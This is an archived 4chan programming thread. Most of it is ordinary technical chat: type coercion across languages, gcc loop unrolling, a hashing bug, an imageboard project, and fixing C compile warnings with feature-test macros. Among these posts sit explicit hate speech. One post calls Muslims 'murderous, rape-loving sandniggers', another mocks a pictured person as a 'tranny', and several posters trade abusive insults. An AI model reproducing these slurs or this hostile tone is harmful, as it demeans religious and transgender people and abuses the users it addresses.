from /usr/bin/irb:11:in `<main>'
irb(main):002:0> "2" - 1
NoMethodError: undefined method `-' for "2":String
Did you mean? -@
from (irb):2
from /usr/bin/irb:11:in `<main>'


Python 3:
>>> "2" + 1
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: Can't convert 'int' object to str implicitly
>>> "2" - 1
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for -: 'str' and 'int'


>>55250447

It's less so much that it's caused me problems, so much as I don't like languages in general that try to produce a result no matter what. In Javascript, you can get a valid result for adding undefined and true. The answer? NaN. Why yes, the result should not be a number, but don't you think you could instead just maybe crash the fucking interpreter instead? Or throw some sort of exception? I can tolerate C's weirdness because you can sort of just say "okay, all pointers are integers" and leave it at that, but if a language is going to be higher level than C, it should at least try to have a respectable type system.
>>
>>55250743
[spoiler]I actually don't use linked lists either [/whyistherenospoilertag]
>>
>>55250407
>Lua
> "2" + 1
stdin:1: unexpected symbol near '"2"'
>

>>
>>55250311
I did a game in Love2D and it taught me why I hate dynamic typing.

It felt liberating to start with but when you run your code and accidentally reference a nil value that would have been caught at compile time instead.

It just costs too much time to do that. I don't have any other major complaints. It's a fairly simple integration in most codebases.
>>
>>55250758
>Run lua
>Type in manually
>It works

>
lua <<< '"2" + 1'

>lua: stdin:1: unexpected symbol near '"2"'

Weird
>>
>>55250864
Actually, I figured it out.
Since lua isn't taking its input from an interactive device (a terminal), it handles things differently, and "2" + 1 isn't a statement, so it doesn't parse.
lua <<< 'print("2" + 1)'
works
>>
If I wanted to make a minimalistic, yet customizable music player (I'm hoping for a fb2k-lite sort of thing) for Linux - which language would have an advantage?

Also, is this project going to be a lot harder than I'm imagining?
>>
>>55250311
arrays start with 1 index
>>
>>55250758
> print("2" + 1)
>3
>>
>>55250980
well you use whatever language of the GUI library you are using
>>
>>55250980
C/C++ and imgui as your library
>>
>>55250311
It's one of my favourite scripting languages along with Scheme.
>>
>>55242627
en ole valmis juhannukseen vittu
>>
>>55249098
Shilling my shitty imageboard: https://github.com/bakape/meguca
>>
I had a strange problem while working in C recently.
OS refused to recognize Interruption Handlers until after a first reboot. Anyone ever experienced anything like that?
>>
I just read some articles about how a LOT of people can't be TAUGHT programming:

https://blog.codinghorror.com/separating-programming-sheep-from-non-programming-goats/

>The test was administered twice; once at the beginning, before any instruction at all, and again after three weeks of class. The striking thing is that there was virtually no movement at all between the groups from the first to second test. Either you had a consistent model in your mind immediately upon first exposure to assignment, the first hurdle in programming – or else you never developed one!

I am not one to believe we are special snowflakes. But does anyone have any input one way or the other?

I guess this affects the "We are going to have way too many programmers soon" issue.
>>
>>55251282
At least he did an open palm slap.
>>55251295
>just finding out about articles from 2006
Yes anon this isn't anything new.

What makes 'programmers' less exclusive now is that 'programming' is different. There's plenty of library glue-work and those 'programmers' don't need the same mental faculties as actual programmers.
>>
>>55251295
Some people can't draw for shit even after years of exercise. Others will never write an emotional story.
Everyone's a special snowflake, it's about how we were brought up and in a smaller extent about genetics.
>>
>>55251328
>it's about how we were brought up and in a smaller extent about genetics.
How do you know?
Have you distinguished the two?
>>
>>55251349
Nah I'm spouting nonsense based off my leyman understanding of the matter.
>>
>>55251321
>What makes 'programmers' less exclusive now is that 'programming' is different. There's plenty of library glue-work and those 'programmers' don't need the same mental faculties as actual programmers.
This. God I hate modern webdevs.
>>
>>55251356
Ok. Because everyone in my family has a good grasp of programming and we were raised quite differently due to outside circumstances. So assuming we didn't just happen to coincide I'd assume it's the opposite. Though I don't know either obviously. 5 isn't a large sample size.
>>
>>55251364
It's less about webdev vs other stuff and more about how much own code you're writing. And how complicated the systems you're writing are.

I'm confident you can do plenty of complicated stuff in webdev. I just haven't seen any examples.
>>
>>55251368
I'd love if there was some actual study about the genetic behind different kinds of cognitive abilities, but it feels like in this climate it'd just be accused of racism and shut down.
>>
>>55251388
You just need to put the right spin on it. Or just present positive things.
Like, instead of saying X is better than Y at Z you say
X is great at Z and Y is great at W
Maybe mention negatives for everyone too. But you're gonna have to have more of a political insight and adapt the presentation to the current climate a lot more.
>>
>>55251380
That is why I said "modern". I am sure there are still people building complicated systems, but most of today's web developers will simply glue meme of the month foo to meme of the month bar.
>>
>>55250752

The problem is "loose" typing, but the loose vs strong argument has somehow confused a lot of people in the dynamic vs static stakes.

It's like how PHP is getting all excited about how they might allow optional type hints for "static" typing, but it's still loose as fuck and doesn't solve the problem.
>>
>>55251388
>>55251423
Oh and there has been by the way. Remember something about Asians being especially good at math and African women great at estimating volume (this last one was big IIRC).
>>
>>55251435
>Eh, I've seen mixed opinions on Lua here. I personally dislike it because it's rather weakly typed.
>>
>>55251192
>Go
>Typescript
>Proper API

Shit, you may actually have a chance of writing a version that can overthrow the hundred shit-show forks we have now.
>>
>>55250745
Well that would've been helpful to know hours ago, but even then if I could open them would a scanner be enough to go through their contents line per line?
>>
At what point does extracting every last ounce of efficiency becomes autism?
>>
>>55251514
That is what I'm going for. Something modern, thoughtfully designed, unit tested, written in statically typed languages and fast even on a shitty VPS/rPi or ancient Android phones.
>>
>>55251590
When you've switched to dataoriented design, done a good job system, everything relevant is in SIMD and you've done your best to minimize cache misses.

When you've done that and started to rewrite profiled irrelevant functions or rewrite stuff without profiling. That's when it's autism.

But everything is practice. So there's no harm in doing it as an exercise.

Though maybe keep the old stuff around.
>>
>>55251590
the very moment you started down that path it was autism
the correct method is to not give a shit at all until something slows down to unbearable levels
>>
>>55251192
Why does it need ffmpeg?
>>
>>55251590
>>55251630
for example
the concept of data oriented design is already autism

that's the process by which you start to optimize before you write a single line of code
>>
>>55251680
>that's the process by which you start to optimize before you write a single line of code
Well. If writing software that's intended to run on computers is premature optimization then maybe you don't care about performance?
That's fine.
But think about that every time you're waiting for a program to start. Every time you see a splashscreen.
>>
>>55251590
When you verify your algorithm by using verification tools
Then make the implementation
>>
>>55251649
Support for WebM, MP3, MP4 and OGG uploads. Those are currently mostly stubs. Need to finish the more essential systems first. Those will use the C binding libraries the other dev is writing (https://github.com/Soreil/imager).
>>
>>55251742
Please have it strip audio from webm's if that's not allowed on the board. Warn the user if they have an audio webm that isn't allowed but let them upload.
>>
>>55251364
>>55251380
Web is just an interface, a place to output the result of your algorithm and routines. It could be a face recognition algorithm receiving/sending REST messages or even outputting the results as html. Of course that could just be a compiled library that the web interface instantiates, but this is also the case for a desktop software or a background service as well. Am I "more programmar than u" because I code for an Arm Cortex M0 with arduino libraries ?
>>
>>55251755
I don't think audio webm need to be forbidden at all. Just indicate on the thumbnail with an overlay, that the webm has sound.
>>
>>55251776
>web is just an interface
>a place to output the result of your algorithms
.t non-programmer
Your implementation is very relevant.
>>
>>55251793
Maybe with a spectrograph overlay. But that takes some generating. Make it low resolution?
Give the user the peak amplitude?
>>
JSON or protobuf?
>>
File: Screenshot_2016-06-25_17-06-31.png (57KB, 334x137px) Image search: [Google]
Screenshot_2016-06-25_17-06-31.png
57KB, 334x137px
>>55251814
What I currently have on the previous version is a small icon in the image information span. What I plan to to do is replace it with a larger SVG overlay in the corner of the thumbnail.
>>55251848
If communicating with the browser - gzipped JSON, otherwise - protobuf.
>>
is it true that cute boys dressed in hijabs are the best programmers?
>>
>>55252000
Merkel plz.
>>
have u given ur shahada to allah yet /dpt/
>>
File: asd.png (116KB, 1917x719px) Image search: [Google]
asd.png
116KB, 1917x719px
Can someone explain why gcc decides to unroll only the b() c()?

int a();
int b();
void c();

int f(bool x) {
while(true) {
if (x) {
a();
} else {
b();
}
c();
}
}


f(bool):
subq $8, %rsp
testb %dil, %dil
jne .L4
.L5:
call b()
call c()
jmp .L5
.L4:
call a()
call c()
call a()
call c()
jmp .L4
>>
>>55252154
*unroll the a() c()

clang doesn't unroll either.
>>
>>55243730
>Like how do I write a function/method?

f[x_] := x^2
>>
>>55245001

They should never do this regardless of implementation. The free function should never change the value of its parameter.
>>
>>55252154
>>55252215
Never trust the compiler.
>>
>>55252473
This. If you don't write the assembly yourself then you're a shitter that doesn't belong in /dpt/.
>>
cryptopp or botan?
>>
is it true that reading the qu'ran will make you a better programmer
>>
>>55252487
More like write the code as you want it executed.
I wish C++ had force inline.
>>55252562
No. We'd have predominantly middle-eastern cyber-attacks rather than physical attacks.

Though I suppose there's a case to be made for Russia.
>>
How do you program away hot weather?
>>
>>55252583
>No. We'd have predominantly middle-eastern cyber-attacks rather than physical attacks.

why would muslims perform cyber attacks lol
>>
what does /dpt/ think of muslims
>>
>>55252630
I oppose practicing religious people. Most Christians I meet aren't really practicing in a practical sense. They have their rituals they perform in churches but don't make decisions based on WWJD for instance.

Same can be said for many Muslims. But sadly the anti-pork reminds me that they're 'different' every day. So I have a primal bias against them i have to fight.
That's my opinion not /dpt/'s.
>>
>>55252659
>Same can be said for many Muslims. But sadly the anti-pork reminds me that they're 'different' every day. So I have a primal bias against them i have to fight.
but why are you islamophobic? muslims are our friends, pork isn't even very tasty and it comes from a dirty animal
>>
aisha is my favourite wife of muhammad, pbuh
>>
is it true that cute boys dressed in hijabs are the best programmers?
>>
int result = 0;
result=17047*HashMapSize*Coordinate.ChunkX+16937*HashMapSize*Coordinate.ChunkX;
result=result%HashMapSize;
assert(result==0);

This assert doesn't fire ever.
Why?
HashMapSize is 50. This just seems too unlikely.
>>
>>55252824
Does your build script define NDEBUG? Are you in release mode?
>>
Can you help me please, /dpt/
Trying to fix the code of someone who wrote a tool to convert Nintendo's downloadable files into a CIA file (that can be installed on a 3DS), getting the following errors. The guy has set =std=c99 in the makefile and someone said that these 2 things would conflict so I'm not sure what to do.

The original code is here https://github.com/Tiger21820/ctr_toolkit/tree/master/make_cdn_cia
Using Ubuntu 16.04 and the usual build tools to compile.

gcc -std=c99 main.c cia.c utils.c -o bin/make_cdn_cia
utils.c: In function ‘GetFileSize_u64’:
utils.c:131:2: warning: implicit declaration of function ‘fseeko’ [-Wimplicit-function-declaration]
fseeko(file, 0L, SEEK_END);
^
utils.c:132:9: warning: implicit declaration of function ‘ftello’ [-Wimplicit-function-declaration]
size = ftello(file);
^
utils.c: In function ‘TruncateFile_u64’:
utils.c:162:9: warning: implicit declaration of function ‘truncate’ [-Wimplicit-function-declaration]
return truncate(filename,filelen);
>>
>>55252999
I decided to replace it with a real hashing algorithm (something which wasn't just made up on the spot). Doesn't matter anymore.
I'm in debug mode.
>>
>>55253025
Dunno if other anon's idea of assert being disabled holds up, but try assert(0) to isolate whether assert is enabled or not. Also are you sure that this path in your code is even taken at all?
>>
>>55253025
okbye
>>
>>55253025
Nope. Nevermind. That doesn't work either.
    int result = 0;
char data[8];
((uint32_t*)data)[0]=Coordinate.X;
((uint32_t*)data)[1]=Coordinate.Y;
result=SuperFastHash(data, 2)%HashMapSize; //http://www.azillionmonkeys.com/qed/hash.html LGPL 2.1 license. http://www.gnu.org/licenses/lgpl-2.1.txt

This always gives me 49
>>55253086
I removed the assert and just inspected the value (I just used the assert because it was always 0 before it seemed so I just wanted to run it for a while and see).
>>55253099
:(
>>
are session beans just a java buzzword for RPC?
>>
>>55253015
Kind of weird... Looks like he doesn't know about feature_test_macros(7) (see the manpage). The glibc nowadays only defines certain recent function if you pass it a preprocessor flag that says you are writing recent code for recent stdlib interfaces. It's good for not breaking old code that defines "truncate", as well as ensuring you're conforming to the least common denominator, I suppose. In your case, add
-D_POSIX_C_SOURCE=200809L
to the compilation flags and you should be fine. Come back to confirm please.
>>
>>55253015
I don't understand why this is happening, unless for some reason ubuntu's glibc doesn't have fseeko, ftello and truncate???
>>
>>55253199
Also you're right on
 -std=c99
not allowing truncate in. It fixes itself if you select
 -std=gnu99
tho (and also with no flag at all). Can you guess why?
>>
>>55253234
Don't even reply if you're this ignorant man.
>>
>>55253247
I'm sorry that my reply hurt you.
>>
>mämmi

>>55243209
Isn't Unity outdated already?
>>
>>55253236
Just fyi:
% cat > test.c
#include <unistd.h>
#include <sys/types.h>
int main() {
truncate("something", 42);
return 0;
}
% gcc test.c
% # (no error)

But -std=c99 breaks it, but -std=gnu99 unbreaks it.

>>55253270
just stfu or is that out of your reach?
>>
>>55253290
meant first par to reply to >>55253234
>>
>>55253199
>>55253236
Don't know if I'm doing this right but when I ran make I got this

guts@crypt ~/3ds/ctr_toolkit-master/make_cdn_cia
% make
gcc -std=c99 main.c cia.c utils.c -D_POSIX_C_SOURCE=200809L -o bin/make_cdn_cia
/usr/bin/ld: cannot open output file bin/make_cdn_cia: No such file or directory
collect2: error: ld returned 1 exit status
Makefile:2: recipe for target 'all' failed
make: *** [all] Error 1



The makefile is like this
all:
gcc -std=c99 main.c cia.c utils.c -D_POSIX_C_SOURCE=200809L -o bin/make_cdn_cia


Feel a bit in over my head tbvh
>>
>>55253290
>>55253302
how about you go fuck yourself, not everyone here is a turbovirgin who spends their days masturbating to gcc's manual detailing its two thousand billion flags

cunt
>>
>>55253338
>not everyone here is a turbovirgin who spends their days masturbating to gcc's manual detailing its two thousand billion flags

agreed, that's what I already said: you're ignorant. So you know what? Shut. The. Fuck. Up!
>>
>>55253399
>agreed, that's what I already said: you're ignorant. So you know what? Shut. The. Fuck. Up!

Make me. I'm not going to stop posting my thoughts just because they trigger your fat loveless ass.
>>
>>55253413
at least I tried being useful. Why are you still arguing? Really I'd rather be loveless with my gf than helpless like your wreckage of a person. See you in the afterlife, you extremely late abortion.
>>
>>55253453
>at least I tried being useful.
as did I. I was just completely off the mark, but I was brainstorming for possible reasons (which would probably lead to discovering what was wrong)

> Why are you still arguing?
because pricks like you ruin /dpt/. we could probably have a bunch more posters if you didn't make the atmosphere unnecessarily hostile, you fucking autist

>Really I'd rather be loveless with my gf than helpless like your wreckage of a person. See you in the afterlife, you extremely late abortion.
anime pillows don't count as real girlfriends
>>
>>55253317
Can't try on my side because you're not providing your fixed version, but maybe that's not necessary. Try without the
-o bin/make_cdn_cia
part and tell me whether it produces an a.out file and/or a message.
>>
File: confusing.gif (2MB, 884x67px) Image search: [Google]
confusing.gif
2MB, 884x67px
>>55252824
>>55253114
int HashCoordinate(TileCoordinate Coordinate){
int result = 0;
char data[8];
((uint32_t*)data)[0]=Coordinate.X;
((uint32_t*)data)[1]=Coordinate.Y;
result=SuperFastHash(data, 2); //http://www.azillionmonkeys.com/qed/hash.html LGPL 2.1 license. http://www.gnu.org/licenses/lgpl-2.1.txt

TileCoordinate PlayerCoordinate=Coordinate;
String StringToDraw= String("ChunkX: ")+IntToString(PlayerCoordinate.ChunkX)+String(" ChunkY: ")+IntToString(PlayerCoordinate.ChunkY)+String(" Result: ")+IntToString(result);
DrawGameText(StringToDraw,"TheFont", 10,50 ,0);
result=abs(result)%HashMapSize;
return result;
}

Why ;_;
This makes no sense.
I tried multiplying the X and the Y by fairly large numbers (1/10th INT_MAX) and it just generates the same result regardless. Different from when I didn't multiply but the input didn't matter.
>>
>>55253488
>as did I. I was just completely off the mark, but I was brainstorming for possible reasons (which would probably lead to discovering what was wrong)
Should have brainstormed this in your brain rather than spout something so obvious. Try again next time.

>because pricks like you ruin /dpt/. we could probably have a bunch more posters if you didn't make the atmosphere unnecessarily hostile, you fucking autist
I'm sorry that my reply hurt you.

>anime pillows don't count as real girlfriends
Niggah yo rhymes are so deep!
>>
>>55253490
Removed the -o part and it created an a.out file and a file named '-D_POSIX_C_SOURCE=200809L'
Both are 28.1 kb
>>
>>55253515
I'm supposed to use ChunkX..
Sorry for bothering you. Silly error.
>>
>>55253526
>created a file named -D...
Wut? sure this iteration created it? Delete it and rerun please.
Ok, so now I have to go, try this:
move the -D flag before the -std flag (Yeah I'm out of idea)
if that fails, use gnu99 instead of c99 as an std, it should fix your original issue without introducing another (hopefully)

see you.

And, before I forget, screw you >>55253488 bye
>>
>>55253490
Btw, literally all I have done is take the files from that make_cdn_cia from the github I posted

https://github.com/Tiger21820/ctr_toolkit/tree/master/make_cdn_cia

and fix the basic errors I found by cross-referencing against other stuff I googled, but the fseeko errors are where I hit a brick wall
>>
File: 1465750649699.jpg (96KB, 960x960px) Image search: [Google]
1465750649699.jpg
96KB, 960x960px
>>55253567
Okay so I did that, and now just the one a.out file got created this time, 28.1 kb again. Not sure if I'm making progress.

I did try gnu99 as it came up in some other google result but it didn't help much, but I'll try it again with the new information, semen demon as thanks.
>>
>>55253633
>posting half-naked men for no reason
Why are you guys being so creepy
>>
>>55253659
There is no bulge, we're safe from the gay disease
>>
>>55253659

Despite the manly body, that may very well be a woman.
>>
>>55253681
>>55253689
>it could be a woman
How is that better?!
>>
>>55253708

I don't think it is better. She's shaped like a rectangle. Not womanly at all.
>>
File: 1456861160942.jpg (338KB, 852x906px) Image search: [Google]
1456861160942.jpg
338KB, 852x906px
>>55253633
Here's a better semen demon then, stop complaining
>>
>>55253746
Uuusssiiii
>>
>>55253580
>and fix the basic errors I found by cross-referencing against other stuff
Which I didn't have time to do then, but that's no big deal. (On my phone now btw)

>>55253633
>now just the one a.out file got created this time, 28.1 kb again.
a.out is an executable file, it's probably exactly what you want: the final program. Rename it to make_cdn_cia and call it a day, and if it gives satisfaction as such there's no reason to look further. I have an idea for the -o thing but whatever. Also I haven't seen any "copy make_cdn_cia into the system directory" so you'll probably have to do it manually.

Thanks for semen deamon. See >>55253488? Eat a dick.
>>
>>55253751
wtf is that neck
>>
>>55253737
That's not the problem. It's the ratio between the fingers, 'her' Achilles tendon, the wrists, the wig (obvious and doesn't make you male, but it's clearly a factor when your sex is in question), the autistic pose chart on the mirror, the plushies along with the two shoeboxes which still have their lables on them, the shoulderblades and how 'she' doesn't know how to tie a bikini.

It's all terrible. 'She' can obviously be a freak of nature and exibit absolutely no female traits but regardless I'd count 'her' as male because all that's missing is the penis (which given how tight those are I could easily pass like that too, have you never folded your penis inside or something?).
>>
File: 1465939622737.jpg (101KB, 1024x768px) Image search: [Google]
1465939622737.jpg
101KB, 1024x768px
>>55253792
You're right friend, that's the program all compiled.
Not sure if using that flag is 'correct practice' or whatever, but as long as it works I'm happy. I have no idea why that guy wrote it that way, guess there's some reasonable explanation out there.
I might actually start using my own github now for the first time in 7 years.
>>
>>55253841
p.s. I wonder how these trannies can put up with it.
I'm not even that sexually active. No doubt a normal man would spot 'her' as a male from a mile away, blindfolded.
>>
>>55252667
Bacon is delicious, just like all muslims are murderous, rape-loving sandniggers.
>>
>>55247144
You Too?
i've received the same
i do not clicked
i'm testing in a VM
what it does?
>>
>>55249290
Sounds like a good idea. If you're still around try checking out Open Hatch or Code 52.
>>
How does one communicate over serial using C? I have a microcontroller connected to a computer using a usb. Ive tested it by using minicom to trigger the microcontroller which worked. Now I want to write my own code to trigger it on the host computer instead of using minicom. Is there some kind of file I write to or a library I need?
Thread posts: 322
Thread images: 23


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.